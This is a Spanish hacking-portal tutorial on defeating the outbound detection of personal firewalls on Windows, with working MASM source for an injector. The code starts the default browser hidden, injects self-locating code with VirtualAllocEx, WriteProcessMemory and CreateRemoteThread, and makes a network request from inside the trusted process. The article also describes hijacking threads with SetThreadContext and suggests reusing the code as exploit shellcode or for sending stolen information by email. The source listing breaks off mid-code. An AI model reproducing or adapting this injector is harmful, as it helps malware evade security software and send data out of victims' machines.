pOrtal HAcker... un poco de hack..
EDITORIAL!
hacking
Seguridad
Descargas
Contenido:
texto: (12499)lecturas Por:(cph) Fecha de Envio:(26-May-06) Categoria: hacking
Traspasando un Firewall
manual explicativo de como traspasar un firewall, trae explicaciones que sin duda nos resolveran muchas dudas
Utilización  de procesos de infección para traspasar Firewalls para Windows

Contenidos

[0x01] introducción
[0x02] Como trabaja el Firewall
[0x03] proceso de Infección sin un dll externo
[0x04] problemas de implementación
[0x05] como implementarlo
[0x06] limites de esta implementación
[0x07] darle la vuelta: otro método de infección
[0x08] conclusión
[0x09] ultimas palabras

[0x0A] referencias

[0x0B] injector source code
[0x0C] Tiny bypass source code
[0x0D] binaries (base64)



-[0x01] :: introducción --------------------------------------------------

Este documento se refiere a una característica de los firewalls de software disponibles para sistema Windows la cual es llamada "detección de salida o Outbound detection".
Esta característica no tiene nada que ver con la idea original de un firewall que es bloquear los paquetes que llegan de la red: el mecanismo de detección de salida tiene como finalidad proteger al usuario de programas maliciosos que corren en su propia computadora -programas que intentan comunicarse con un host remoto en Internet y filtrar información importante. En general, la detección de salida controla la comunicación de las aplicaciones locales con el Internet.

En un mundo donde se incrementa el numero de caballos de Troya, gusanos y virus es una característica muy útil. Sin embargo, aun sabiendo lo que se sobre firewalls, me he estado preguntando si realmente proveen un cierto nivel de seguridad. Después de todo, solo son software que se supone que lo protege de otro software y no suena muy bien.

Para no hacer el cuento largo, la detección de salida puede ser traspasada y es lo que se discutirá en este documento. Creo que es posible traspasar esta restricción así como se pasan otras. Los firewalls personales son programas que controlan programas y es factible darle la vuelta y crear un programa que controle al firewall.

Además no será solo teoría, se presenta con un código para traspasar el firewall inyectándolo en un proceso confiable y sin requerir una dll externa

Se debe saber Win32 API y ensamblador x86 básico.

-[0x02] :: Como trabaja un firewall de software -----------------------------------

Por supuesto solo podemos hablar de firewalls que hemos utilizado y probado pero es seguro que son los mas usados. Ya que la mayoría trabaja en forma similar, el concepto parece generalmente asumido.

Casi todos los firewalls modernos proveen características que permiten simular el comportamiento de un firewall de hardware permitiendo bloquear puertos y no nos extenderemos en esto dado que la idea de romper las restricciones no es el fin de este documento.

Otra importante característica de los firewalls de software es el concepto de dar niveles de privilegios o niveles de confianza a diferentes procesos que se ejecutan para proveer una medida de detección de salida. Una vez que un exe crea un proceso que intenta accesar la red, el exe es revisado con una suma de comprobación por parte del firewall y se le pregunta al usuario si quiere no quiere confiar en el proceso.

Para realizar esta tarea, el firewall probablemente instala drivers en modo kernel y los coloca para monitorear e interceptar llamadas a de rutinas de bajo nivel del núcleo de Windows. El usuario puede confiar en un proceso que conecta "connect()" a un host en Internet para escuchar "listen()" por conexiones o para realizar alguna tarea de red familiar. El punto principal es: tan pronto como el usuario le de la confianza al ejecutable, también da confianza a cualquier proceso que halla sido creado por el ejecutable. Sin embargo, una vez que cambiemos el ejecutable, la suma de comprobación no checará y el firewall será alertado.

Así que sabemos que el firewall confía en cierto proceso mientras el ejecutable permanezca sin cambios. también sabemos que en la mayoría de los casos el usuario confiara en el navegador y el cliente de correo

-[0x03] :: proceso de Infección sin un .dll externo -----------------------

El firewall solo calculara y analizara la suma de comprobación de un ejecutable antes de la creación del proceso. después de que el proceso se carga en memoria, asume que seguirá siendo el mismo hasta que termine.

Y ya que estamos hablando de un proceso de infección, imagino que saben que sigue. Si no podemos alterar ese ejecutable, iremos directamente al proceso e inyectaremos nuestro código en memoria, lo ejecutamos desde ahí y traspasamos la restricción del firewall.

Si esto es muy rápido para ustedes, no hay problema, un proceso es cargado en la RAM por el sistema operativo tan pronto como un binario o archivo ejecutable es ejecutado. Simplificando, un proceso es un código binario que ha sido colocado en cierta dirección de memoria. De hecho, es mas que eso. Windows hace mucho mas que escribir código binario en algún lugar de la memoria.

Para los que saben que es un proceso de infección en tiempo de ejecución, no me gusta la inyección de dll simplemente porque no es una opción que pueda ser menos oculta.

En la practica la inyección de dll significa que el ejecutable que realiza el traspaso de alguna manera carga con el dll adicional que requiere. Esto no nada mas aumenta el tamaño del código, además el dll debe ser escrito en el disco duro en el sistema afectado para realizar el traspaso. Y para ser honestos, si realmente se va a escribir un programa que traspase un firewall, evitaremos ese tipo de fallas. De ahí que el método presentado de proceso de infección en tiempo de ejecución trabaja sin la necesidad de una dll externa y esta escrito en ensamblador x86 puro.

Para resumir, es importante que tengamos acceso a la memoria, copiar nuestro código y ejecutarlo en el contexto del proceso. Suena difícil?? no tanto, si se tiene conocimiento de Win32 API se tiene lo necesario para realizar la tarea. La API mas importante que se viene es is CreateRemoteThread().
Revisando la MSDN:

La funcion is CreateRemoteThread() crea un hilo que se ejecuta en el espacio de memoria de otro proceso

HANDLE CreateRemoteThread(
HANDLE hProcess,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
DWORD dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);

Bien, podemos ejecutar código en cierta direccion de memoria dentro de otro proceso y podemos además pasar un DWORD de información como parámetro de el. Mas aun, necesitaremos las siguientes 2 llamadas API:

VirtualAllocEx()
WriteProcessMemory()

ellas nos darán el poder de inyectar nuestro código arbitrario en la dirección de memoria de otro proceso y de ahí, crear un hilo remotamente para ejecutarlo.

Resumiendo, creamos un exe que contiene dos funciones, una para inyectar código en un proceso de confianza y la función que será inyectada.

-[0x04] :: problemas de esta implementación -------------------------------

Suena muy bonito pero no es tan fácil. primero se requiere ser capaz de escribir una aplicación en C que inyecte otra función C (estática) a un proceso remoto. De hecho, se puede garantizar que el proceso remoto tronara. Aunque se pueda llamar a la API relevante desde C, hay muchos problemas usando un lenguaje de alto nivel para este propósito. La esencia de todos los problemas se puede resumir como sigue: los compiladores producen código ASM que utiliza rutas estáticas. Un ejemplo; cuando se usa una cadena constante C, esta cadena C será almacenado en cierta posición dentro de la memoria del ejecutable y cualquier referencia a ella será hardcoded. Esto significa que cuando el proceso necesite pasar la dirección de esa secuencia a una función, la dirección será totalmente hardcoded en el código binario de su ejecutable

Consideremos:

void main() {
printf("Hello World");
return 0;
}

Asumamos que la cadena "Hola Mundo" es almacenada en la dirección 0x28048 en el ejecutable. mas aun, sabemos que el ejecutable se carga en la dirección 0x00400000. En este caso, el código binario que se compila y se liga al ejecutable se refiere de alguna manera a la dirección 0x00428048 directamente.

Si desensablamos esa aplicación compilándola con Visual C++ 6 se vera así:

00401597 ...
00401598 push 0x00428048; la cadena hola mundo
0040159D call 0x004051e0; dirección de printf
0040159E ...

cual es el problema de utilizar direcciones estáticas??? si estas en ti propio espacio de memoria no hay ninguno. Sin embargo una vez que se mueve el código a otro espacio de memoria, todas las direcciones apuntan a cosas totalmente diferentes. la cadena "Hola Mundo" que en mi ejemplo es mas de 0x20000 = 131072 bytes retirado de el codigo de programa actual. Asi que si se inyecta el codigo a otro espacio de procesos, se debe estar seguro que en 0x00428048 sea una cadena C valida seguramente "hola mundo" no lo es. Espero que ya tengan el punto.

Este es solo un ejemplo y no abarca todos los problemas que pueden ocurrir. Sin embargo, también las direcciones de todas las llamadas de función son estáticas como la dirección de printf de nuestro ejemplo. en otro espacio de procesos, estas funciones pudieran estar en otro lugar o perdidas completamente y esto lleva a los errores mas extraños que se pueda imaginar. la única forma de estar estar seguros que todas las direcciones son correctas y que cada instrucción al procesador ajuste, es escribir el código en ASM

Nota Hay muchas implementaciones trabajando para traspasar la detección de salida para firewall en la red que utilizan la inyección de dll. Esto significa que la implementación misma consiste en un ejecutable y un dll. el ejecutable fuerza a un proceso conocido a cargar una dll y una vez cargada, esta dll realiza cualquier tarea de red. Esta forma de traspasar funciona muy bien y puede ser implementada con un lenguaje de alto nivel muy fácilmente pero, para evitar eso de depender de una dll externa, mejor utilizaremos un código que incluya todo.

Refer to (2) for an example of a DLL injection bypass.

Also, LSADUMP2 (3) uses exactly the same measure to grab the LSA secrets from LSASS.EXE and it is written in C.



-[0x05] :: como implementarlo -------------------------------------------

Hasta ahora, todo es teórico, en la practica, se encontraran con problemas cuando se escribe código como este. Es mas, se debe lidiar con cuestiones que solo resolverán parcialmente el problema. De ahí que, dejemos atrás la parte abstracta y veamos como escribir código que funcione.

Nota, se recomienda que se vaya viendo el código fuente al final de este articulo mientras se lee esta parte.

Primero, queremos evitar las referencias estáticas tanto como sea posible y lo primero es la ruta del archivo del navegador de Internet del usuario. En lugar de referirnos a "C:\Program Files\Internet Explorer\iexplore.exe", mejor le preguntaremso al registro por "HKCR\htmlfile\shell\open\command"

Ok esta es sencilla, asumo que saben como preguntarle al registro. a siguiente cosa es llamar la función CreateProcess(). El valor de wShowWindow en STARTUP_INFO deberá pasar a la función algo como SW_HIDE para mantener la ventana del navegador oculta.

Si realmente queremos estar seguros que no se despliega ninguna ventana al usuario debemos esforzarnos en esto. Se puede, por ejemplo, crear un gancho que mantenga ocultas todas las ventanas creadas por el proceso o algo similar. Solo he probado mi ejemplo con Internet Explorer y el truco de SW_HIDE funciona bien.

Para asegurarnos que el proceso ha cargado las librerías mas esenciales y ha alcanzado un estado estable usamos la llamada WaitForInputIdle() para darle al proceso tiempo de inicialización.

Ahora procederemos llamando VirtualAllocEx() para establecer memoria para el proceso creado y con WriteProcessMemory(), copiamos nuestro código de red. Finalmente usamos CreateRemoteThread() para ejecutar el código y de ahí solo debemos esperar a que termine el hilo de procesamiento.

La función que será inyectada puede recibir solo un argumento, una palabra doble. En el ejemplo que será presentado, el procedimiento de inyección conecta con un sitio Web y manda una solicitud de HTTP GET. Después de recibir el encabezado, se despliega una ventana de mensajes. Ya que este es un ejemplo muy básico de un código para traspasar un firewall, nuestro proceso de inyección deberá hacer todo por si mismo y no necesitara mas información

Sin embargo, seguimos utilizando el parámetro que pasa a 32 bits nuestro procedimiento de inyección, su propia "dirección base". De ahí que el código inyectado sabe a cual dirección de memoria a sido asignado en el contexto del proceso remoto. Esto es muy importante ya que no podemos leer directamente del registro EIP y porque nuestro código se debe referir a direcciones de memoria de estructuras de datos dentro del código inyectado en si mismo.

Una vez inyectado y colocado el proceso remoto, el código inyectado básicamente no sabe nada. La tarea mas importante es encontrar la dirección base de kernel32.dll y de ahí, obtener la dirección de la función GetProcAddress para cargar lo que necesitamos. No explicare en detalle como son obtenidos esos valores ya que es demasiado amplio. Si están interesados en los detalles chequen Last Stage of Delirium research group

En términos simples, se obtiene la dirección base del kernel32 desde la estructura del Process Environment Block (PEB) la cual podemos encontrar en el Thread Environment Block (TEB).  la salida del TEb siempre es almacenada con el registro FS de ahí que podemos obtener fácilmente la salida PEB también. Y ya que sabemos  donde se ha cargado kernel32.dll solamente necesitamos revisar para localizar GetProcAddress(); si no están familiarizados con el formato PE no se preocupen.

Una librería de enlace dinámico dll contiene una sección llamada de exportación. Gracias a esta sección, las salidas de todas las funciones exportadas son asignadas  a cadenas que pueden ser leídas por personas. de hecho, hay dos arreglos que nos interesan. Hay mas de 2 arreglos dentro de la sección de exportación pero solo usaremos dos. para el resto de este documento, el término "lista" y "arreglo" son equivalentes, la diferencia formal no tiene importancia en este nivel de programación. Un arreglo es una lista de cadenas C estándares con terminación nula. Contienen los nombres de las funciones. La segunda lista contiene los puntos de entrada de las funciones.

Haremos algo similar con GetProcAddress() en si misma. Buscaremos  por "GetProcAddress" en la primera lista y encontraremos las funciones de salida en el segundo arreglo de esta manera.

Desafortunadamente, Microsoft llego con una idea de sus exportaciones de DLL que hacen todo mucho mas complicado. Esta idea es llamada "reenviadores" y básicamente significa que una DLL puede reenviar la exportación de una función a otra DLL. En lugar de apuntar a la salida del código de la función dentro de una DLL, la salida del segundo arreglo puede apuntar a una cadena de terminación nula. Por ejemplo, la función HeapAlloc() de kernel32.dll es reenviada a la función RtlAllocatedHeap en ntdll.dll. Esto significa que la salida que alega ser HeapAlloc() del kernel32.dll no es la salida de la funcion impementada por kernel32 sino que es la salida de la cadena que ha sido colocada por kernel32 y esta cadena en particular es "NTDLL.RtlAllocatedHeap"

Después de un poco, se puede uno imaginar que la cadena reenviada es colocada inmediatamente después del nombre de la función en el arreglo #1 y de ahí que se puede encontrar ese pedazo de datos dentro de kernel32.dll

48 65 61 70 41 6C 6C 6F HeapAllo
63 00 4E 54 44 4C 4C 2E c.NTDLL.
52 74 6C 41 6C 6C 6F 63 RtlAlloc
61 74 65 48 65 61 70 00 ateHeap.

= "HeapAlloc\0NTDLL.RtlAllocateHeap\0"

Este es por supuesto  un poco confuso ya que hay mas cadenas de terminación nula en la primera lista que salidas en la segunda lista - cada reenviador parece como un nombre de función en si mismo. Sin embargo, con esto en mente, podemos fácilmente cuidarnos de los reenviadores en nuestro código.

Para identificar la cadena "GetProcAddress", se peude hacer uso de una función hash para cadenas cortas la cual presento el grupo LSD en su escrito. La funcion se ve así en C:

unsigned long hash(const char* strData) {
unsigned long hash = 0;
char* tChar = (char*) strData;
while (*tChar) hash = ((hash<<5)|(hash>>27))+*tChar++;
return hash;
}

El hash calculado para "GetProcAddr" es, 0x099C95590 y buscaremos una cadenas en la sección de exportación de kernel32.dll que cuadre con esa cadena. Una vez que tengamos la dirección de GetProcAddress y la dirección base de kernel32, podremos fácilmente cargar las otras llamadas a APIs y librerías que necesitemos. De ahí, todo lo que necesitamos hacer es cargar ws2_32.dll y utilizar el enchufe (socket) de llamada s de sistema para esas librerías que queramos utilizar.

Nota: Se sugiere leer [0x0B] ahora

-[0x06] :: Limites de esta implementación ---------------------------------

El ejemplo de código presentado les dará un pequeño ejecutable que corre en RING3. Estoy seguro que la mayoría de los firewalls contienen drivers en modo kernel con la habilidad de realizar tareas mas potentes que este ejecutable inyector. De ahí que, las capacidades de el código de traspaso son obviamente limitadas. Se ha probado este código contra varios firewalls obteniéndose

Zone Alarm 4 vulnerable
Zone Alarm Pro 4 vulnerable
Sygate Pro 5.5 vulnerable
BlackIce 3.6 vulnerable
Tiny 5.0 immune

Tiny alerta al usuario que se ejecutable quiere funcionar tratando de obtener acceso a la red. Tiny simplemente actúa como cualquier otro software de firewall pero de una forma más cuidadosa. Tiny también engancha las llamadas API como CreateProcess() y CreateRemoteThread() así que puede proteger a los usuarios de este tipo de traspaso

De todas maneras, con los resultados obtenidos, se confirma que los firewalls de software actúan como drivers en modo kernel enganchándose a las llamadas API para monitorear la actividad de la red.

No se a presentado un método para traspasar un firewall en el 100% de los casos, es solo un ejemplo de que es posible saltarse un firewall.

-[0x07] :: Veamos otro método de infección --------------------------

Podría haber una opción de darle la vuelta a este problema y es infectando un proceso confiable que este ejecutandose.aunque no parece ser la única opción ya que Tiny tambien se engancha a nuestro conocido CreateRemoteThread(). Desafortunadamente creoq eu infectar solamente un proceso no trabajara contra Tiny.

Sin embargo hay otras maneras de forzar la ejecución de nuestro código inyectado y lo explicare rápidamente para aquellos que estén interesados, lo que estoy tratando de probar aquí es que podemos vencer un firewall poniendo un poco de esfuerzo en la creación del código correspondiente.

La llamada API esencial es GetThreadContext() y apropiadamente SetThreadContext(). Estas dos ampliamente documentadas funciones permiten modificar el CONTEXTO de un hilo de ejecución. Y que es esto?, la estructura del CONTEXTO contiene el valor actual de todos los registros del CPU en el contexto de cierto hilo de ejecución. De ahí que con las dos llamadas API mencionadas, se obtener estos valores y, mas importante, aplicar nuevos valores a cada registro del CPU en los contextos de hilos en ejecución o de mas interés para nosotros, el registro EIP el puntero de instrucciones para el hilo

Primero que nada, simplemente encontraremos un proceso confiable que se este ejecutando. Entonces, como siempre, escribimos nuestro código en la memoria utilizando los métodos discutidos anteriormente. esta ocasión sin embargo, no hemos creado  un hilo que empieza en la dirección de memoria de nuestro código, simplemente hemos secuestrado el hilo principal de un proceso confiable cambiando el puntero de instrucciones de la dirección con nuestro propio código.

Esa es la teoría esencial detrás de nuestra segunda opción de traspaso. En la práctica, procederemos los mas cautelosamente para ser lo mas secretos posible. Primero que nada, no escribiremos simplemente nuestra función de inyección a un procesos ejecutándose, pero si a muchos otros códigos ASM para poder regresar al contexto original del hilo secuestrado una vez que nuestro código ha terminado el trabajo. Como pueden ver, en el código fuente ASM en [0x0C] lo que queremos es copiar un pedazo de código a un proceso como aparece a continuación:

<base + 0x00> PUSHAD; protege todos los registros
<base + 0x01> PUSHFD; protege todas las banderas
<base + 0x02> PUSH <base + 0x13>; primer argumento:dirección propia
<base + 0x07> CALL <base + 0x13>; llamada al código inyectado
<base + 0x0C> POPFD; restaurar banderas
<base + 0x0D> POPAD; restaurar registros
<base + 0x0E> JMP <EIP orignal >; "restaurar" contexto original
<base + 0x13> ...; inyección de la función inicia aqui

Recuerden, este código esta siendo inyectado a la memoria muy lejos del contexto original del hilo. Es por esto que necesitamos una dirección relativa de 4 bytes para el JMP.

Esta es una solución fácil y simple para evitar que nuestro proceso confiable se caiga después de que el código inyectado se ejecute. Mas aun, he decidido utilizar un objeto de evento que es firmado por el código inyectado una ves que la solicitud HTTP es realizada exitosamente. De esta manera, el ejecutable es informado que la rutina de inyección a terminado su trabajo. Podemos des colocar de la memoria remota y realizar una limpieza general, Esto es muy importante.

Debo decir que [0x0C]  es un poco mas frágil y con menos resultados que el primer traspaso mostrado en [0x0B] . Sin embargo, el segundo definitivamente trabajará contra los firewalls probados y probablemente ante otros  Se debe tener en mente que Internet Explorer se asume como un proceso confiable sin mirar el registro o en cualquier otro lugar.

Aun mas, Solo utilice el segundo traspaso conjuntamente con una instancia de Internet Explorer en ejecución, otras aplicaciones puede requerir no secuestrar el hilo principal y si otro. El hilo primario es la mejor apuesta en tanto podamos asumir que no esta bloqueado o durmiendo al momento de la infección. Sin embargo teóricamente puede que la interfase del programa se congele momentáneamente debido a que se esta ejecutando el código inyectado en lugar del código se se intenta ejecutar. Con este programa de ejemplo y el Internet Explorer no encontré problemas aunque también funciona con OUTLOOK.EXE y otros así que pienso que puede ser considerada una aproximación buena y estable.

-[0x08] :: Conclusión ----------------------------------------------------

Siento que puedo estar satisfecho con los resultados que obtuve. Aunque el ejecutable inyector es generalmente inferior a un software de firewall en modo kernel,  se puede engañar al 80% del software mas popular.

Mi segundo traspaso funciona contra todos y estoy seguro que se puede programar un traspaso para cada firewall de software. Los dos ejemplos de código simplemente envían una solicitud HTTP pero puede ser sencillo realizar cualquier otra tarea de red. De inicio, enviar un email con información importante debe trabajar de la misma manera. El código inyectado debe ser mas sofisticado que el proveído aquí.

Teniendo en cuenta lo que se puede lograr con una aplicación de 5k en modo usuario, debe ser mas sencillo traspasar un firewall con el código apropiado corriendo en RING0, eventualmente ligándose con llamadas de bajo nivel. Quien sabe, tal vez esta técnica esta siendo utilizada por otras personas que estén haciendo el mismo tipo de investigación. La conclusión general es: los firewalls de software son inseguros. Se que generalizo mucho pero el problema es el concepto del firewall de software, no su implementación.

El software no puede protegerte de otro software sin ser un riesgo constante de ser trucado por otro software.

Es esto un riego? de hecho es un gran riesgo porque los firewalls de software SON ampliamente utilizados en equipos con Windows. Dentro una red, es corriente utilizar firewalls de software y de hardware. Por otra parte, los  firewalls de software en tales redes responden solamente al mismo propósito de proteger la red contra programas backdoor proveyendo una cierta clase de detección de salida. Y después de todo, esta protección es obviamente demasiado débil

Aparte de el peligro para las computadoras privadas, que se ha demostrado por este medio no estar suficientemente protegidas contra los caballos de Troya y los gusanos, la explotación de una computadora usando Windows que usa un firewall de software definitivamente puede implicar el uso de los métodos descritos en este documento. El código del ASM para los dos ejemplos de traspaso se puede transformar en shellcode para cualquier exploit remoto de Windows. Una vez que un servicio de red de Windows sea encontrado vulnerable a un exploit remoto, sería también posible superar la detección de salida del firewall de software respectivo de esta manera. Los ejemplos se conectan con www.itpromexico.com.mx en el puerto 80, pero usted puede infectar realmente un proceso confiable y hacer que haga cualquier cosa con unas cuantas líneas de código haciendo que se conecte en loopback a su propia  IP.

-[0x09] :: Ultimas Palabras ----------------------------------------------------

Quiero enfatizar que no soy responsable por nadie utilizando el código de muestra proveído para hacer su propio troyano o "robar" pornografía de un amigo. En serio, es solo un ejemplo para propósitos educativos y no debe ser utilizado para cosas ilegales.










-[0x0A] :: Referencias ----------------------------------------------------

Estos son links a proyectos y documentos que utilizo como referencia en este documento

(1) La biblioteca del MSDN provee a los programadores de Windwos de mas referencias de las que realmente necesitan, no hay duda de eso.

http://msdn.microsoft.com/

(2) Otro proyecto apra traspasar y evitar la detección de salida en los firewalls de software, desafortunadamente no hay codigo fuente y utiliza una dll externa

http://keir.net/firehole.html

(3) LSADUMP2 es el unico codigo fuente C que ilustra el metodo de inyectar una DLL en el espacio de otro proceso:

http://razor.bindview.com/tools/desc/lsadump2_readme.html

(4) Mucho respeto y agradecimientos al grupo de investigacion LSD por su documento  "Win32 Assembly Components":

http://www.lsd-pl.net/documents/winasm-1.0.1.pdf

Tal vez les gustaria revisar completamente su seccion de proyectos:

http://lsd-pl.net/projects.html

(5) Negatory Assembly Studio es mi ASM IDE x86 favorito, tal vez necesiten el codigo ASM proveido :

http://www.negatory.com/asmstudio/




-[0x0B] :: Código Fuente injector.exe --------------------------------------

Aqui esta, este es el codigo ASM iyector. Utilice  Negatory Assembly Studio 1.0 para crear el ejecutable, es un freeware muy bueno para crear programas en ASM para Windows  (5). Utiliza internamente el ensamblador  MASM y un ligador asi que se puede utilizar solamenten código MASM


.386
.MODEL flat, stdcall

INCLUDE windows.inc
INCLUDE kernel32.inc
INCLUDE advapi32.inc
INCLUDE user32.inc


bypass PROTO NEAR STDCALL, browser:DWORD; funcion inyectora
inject PROTO NEAR STDCALL, iBase:DWORD; funcion inyectada


; La marco PSHS es utilizada para empujar la direccion de alguna estructura a la pila dentro del espacio de memoria del proceso remoto. iBase contiene la direccion donde el código inyectado inicia


PSHS MACRO BUFFER
MOV EDX, iBase
ADD EDX, OFFSET BUFFER - inject
PUSH EDX
ENDM

; La macro LPROC asume que pGetProcAddress tiene la direccion de la llamda API GetProcAddress() y simula el comportamiento. PROCNAME es una cadena adentro del codigo inyectado que contiene el nombre de la funcion PROCADDR que es una variable DWORD en el codigo inyectado que trae la direccion de la funcion. BASEDLL, como el nombre sugiere, debe tener la direccion base de la DLL apropiada.

LPROC MACRO BASEDLL, PROCNAME, PROCADDR
PSHS PROCNAME
PUSH BASEDLL
CALL pGetProcAddress
EJUMP INJECT_ERROR
MOV PROCADDR, EAX
ENDM

EJUMP MACRO TARGET_CODE; jump when EAX is 0.
CMP EAX, 0
JE TARGET_CODE
ENDM


.DATA

sFail DB "Injection failed.",0
sCapFail DB "Failure",0

REG_BROWSER_SUBKEY DB "htmlfile\shell\open\command",0
REG_BROWSER_KEY DD ?

BROWSER DB MAX_PATH DUP(0)
BR_SIZE DD MAX_PATH

FUNCSZE EQU inject_end - inject

.CODE


Main:; aqui obtenemos la ruta al navegador por defecto del registro preguntando a HKCR\htmlfile\shell\open\command


INVOKE RegOpenKey, HKEY_CLASSES_ROOT, \
ADDR REG_BROWSER_SUBKEY, ADDR REG_BROWSER_KEY

CMP EAX, ERROR_SUCCESS
JNE RR

INVOKE RegQueryValue, REG_BROWSER_KEY, \
EAX, ADDR BROWSER, ADDR BR_SIZE

INVOKE RegCloseKey, REG_BROWSER_KEY


; Ahora podemos llamar la funcion de traspaso supliendo la ruta al navegador como primer argumento

INVOKE bypass, OFFSET BROWSER


RR: INVOKE ExitProcess, 0



bypass PROC NEAR STDCALL, browser:DWORD

LOCAL sinf :STARTUPINFO
LOCAL pinf :PROCESS_INFORMATION

LOCAL dwReturn :DWORD; return value
LOCAL dwRemoteThreadID :DWORD; thread ID
LOCAL thRemoteThreadHandle :DWORD; thread handle
LOCAL pbRemoteMemory :DWORD; base address


; Le ponemos nuestros detalles de startupinfo y alteramos el atributo wShowWindow a SW_HIDE

INVOKE GetStartupInfo,ADDR sinf
MOV sinf.wShowWindow, SW_HIDE


; Creamos el proceso del navegador y con  WaitForinputIdle() damos tiempo para la inicialización

INVOKE CreateProcess,0,browser,0,0,0,0,0,0, \
ADDR sinf,ADDR pinf
EJUMP ERR_CLEAN

INVOKE WaitForInputIdle, pinf.hProcess, 10000
CMP EAX,0
JNE ERR_CLEAN

MOV EBX, pinf.hProcess
MOV ECX, pinf.hThread


; Colocamos memoria en el espacio de direccion del proceso remoto y suamos WriteProcessMemory() para copiar el codigo en el procedimiento inyectado

MOV EDX, FUNCSZE
INVOKE VirtualAllocEx,EBX,0,EDX,MEM_COMMIT, \
PAGE_EXECUTE_READWRITE
EJUMP ERR_SUCC

MOV pbRemoteMemory,EAX
MOV EDX,FUNCSZE

INVOKE WriteProcessMemory,EBX,pbRemoteMemory, \
inject, EDX, 0
EJUMP ERR_CLEAN_VF


; El codigo ha sido copiado creamos el hilo que inicia la direccion remota

INVOKE CreateRemoteThread,EBX,0,0,pbRemoteMemory, \
pbRemoteMemory, 0, ADDR dwRemoteThreadID
EJUMP ERR_CLEAN_TH

MOV thRemoteThreadHandle,EAX
MOV dwReturn,0


; Espera hasta que el hilo remoto termine y ve cual es el valor retornado. el procedimiento de inyeccion regresara un valor booleano en EAX indicando si hubo exito o no

INVOKE WaitForSingleObject,thRemoteThreadHandle,INFINITE
INVOKE GetExitCodeThread,thRemoteThreadHandle,ADDR dwReturn

; Si el valor regresado es igual a 0, a ocurrido un error y desplegaras un  MessageBox() de falla

CMP dwReturn, 0
JNE ERR_CLEAN_TH

INVOKE MessageBox, 0, OFFSET sFail, OFFSET sCapFail, 16

ERR_CLEAN_TH:
INVOKE CloseHandle,thRemoteThreadHandle
ERR_CLEAN_VF:
INVOKE VirtualFreeEx, EBX, pbRemoteMemory, 0, MEM_RELEASE
ERR_CLEAN:
INVOKE TerminateProcess, EBX, 0
INVOKE CloseHandle,pinf.hThread
INVOKE CloseHandle,pinf.hProcess
ERR_SUCC:
RET

bypass ENDP



inject PROC NEAR STDCALL, iBase:DWORD

LOCAL k32base :DWORD
LOCAL expbase :DWORD
LOCAL forwards :DWORD

LOCAL pGetProcAddress :DWORD
LOCAL pGetModuleHandle :DWORD
LOCAL pLoadLibrary :DWORD
LOCAL pFreeLibrary :DWORD

LOCAL pMessageBox :DWORD
LOCAL u32base :DWORD
LOCAL ws32base :DWORD

LOCAL pWSAStartup :DWORD
LOCAL pWSACleanup :DWORD

LOCAL pSocket :DWORD
LOCAL pConnect :DWORD
LOCAL pSend :DWORD
LOCAL pRecv :DWORD
LOCAL pClose :DWORD

JMP IG


sGetModuleHandle DB "GetModuleHandleA" ,0
sLoadLibrary DB "LoadLibraryA" ,0
sFreeLibrary DB "FreeLibrary" ,0

sUser32 DB "USER32.DLL" ,0
sMessageBox DB "MessageBoxA" ,0

sGLA DB "GetLastError" ,0
sWLA DB "WSAGetLastError" ,0

sWS2_32 DB "ws2_32.dll" ,0
sWSAStartup DB "WSAStartup" ,0
sWSACleanup DB "WSACleanup" ,0
sSocket DB "socket" ,0
sConnect DB "connect" ,0
sSend DB "send" ,0
sRecv DB "recv" ,0
sClose DB "closesocket" ,0

wsa LABEL BYTE
wVersion DW 0
wHighVersion DW 0
szDescription DB WSADESCRIPTION_LEN+1 DUP(0)
szSystemStatus DB WSASYS_STATUS_LEN+1 DUP(0)
iMaxSockets DW 0
iMaxUdpDg DW 0
lpVendorInfo DD 0

sAddr LABEL BYTE
sin_family DW AF_INET
sin_port DW 05000H
sin_addr DD 006EE3745H
sin_zero DQ 0



sStartC DB "SetUp Complete",0
sStart DB "Injector SetUp complete. ", \
"Sending request:",13,10,13,10

sRequ DB "GET / HTTP/1.0",13,10, \
"Host: www.itpromexico.com.mx",\
13,10,13,10,0

sCap DB "Injection successful",0
sRepl DB 601 DUP(0)


IG: ASSUME FS:NOTHING; este es un bypass de error de MASM

MOV EAX, FS:[030H]; obten el  the Process Environment Block
TEST EAX, EAX; Checar si es Win9X
JS W9X

WNT: MOV EAX, [EAX+00CH]; WinNT: get PROCESS_MODULE_INFO
MOV ESI, [EAX+01CH]; obten fLink desde la lista ordenada de modulosist
LODSD; carga la direccion del  bLink en eax
MOV EAX, [EAX+008H]; Copia el modulo base de la lista
JMP K32; trabajo realizado

W9X: MOV EAX, [EAX+034H]; Salida no documentada (0x34)
LEA EAX, [EAX+07CH]; ...
MOV EAX, [EAX+03CH]; ...
K32: MOV k32base,EAX; mantiene una copia de la direccion base
MOV pGetProcAddress, 0; ahora busca por GetProcAddress
MOV forwards,0; establece los reenviadores a 0

MOV pWSACleanup, 0; necesitaremos revisar este error-
MOV ws32base, 0; revisa mas tarde

ADD EAX,[EAX+03CH]; apunta a IMAGE_NT_HEADERS
MOV EAX,[EAX+078H]; RVA del directorio de exportacion
ADD EAX,k32base; desde el  RVA agrega la direccion base
MOV expbase,EAX; IMAGE_EXPORTS_DIRECTORY

MOV EAX,[EAX+020H]; RVA del arreglo de AddressOfNames
ADD EAX,k32base; agrega la direccion base

MOV ECX,[EAX]; ECX: RVA de la primera cadena
ADD ECX,k32base; agrega la direccion base

MOV EAX,0; EAX servira como contador
JMP M2; inicio de ciclos

M1: INC EAX; incrementa el  EAX cada loop
M2: MOV EBX, 0; EBX sera el hash calculado

HASH: MOV EDX, EBX
SHL EBX, 05H
SHR EDX, 01BH
OR EBX, EDX
MOV EDX, 0
MOV DL, [ECX]; copia el caracter actual al DL
ADD EBX, EDX; y agrega el DL al valor del hash
INC ECX; incrementa el puntero de la cadena
MOV DL, [ECX]; siguiente caracter  DL, ahora:
CMP EDX, 0; revisa por el caracter nulo
JNE HASH


; Aqui es donde tomaremos cuidado de los reenviadores, siempre restaremos el numero de reenviadores de nuestro iterador EAX para obtener la salida apropiada del segundo arreglo.

PUSH EAX; Safe EAX to the stack
SUB EAX,forwards; Subtract forwards
IMUL EAX,4; addresses are DWORD's
INC ECX; Move the ECX pointer to the
; beginning of the next name

MOV EDX, expbase; Load exports directory
MOV EDX, [EDX+01CH]; EDX: array of entry points
ADD EDX, k32base; add the base address
MOV EDX, [EDX+EAX]; Lookup the Function RVA
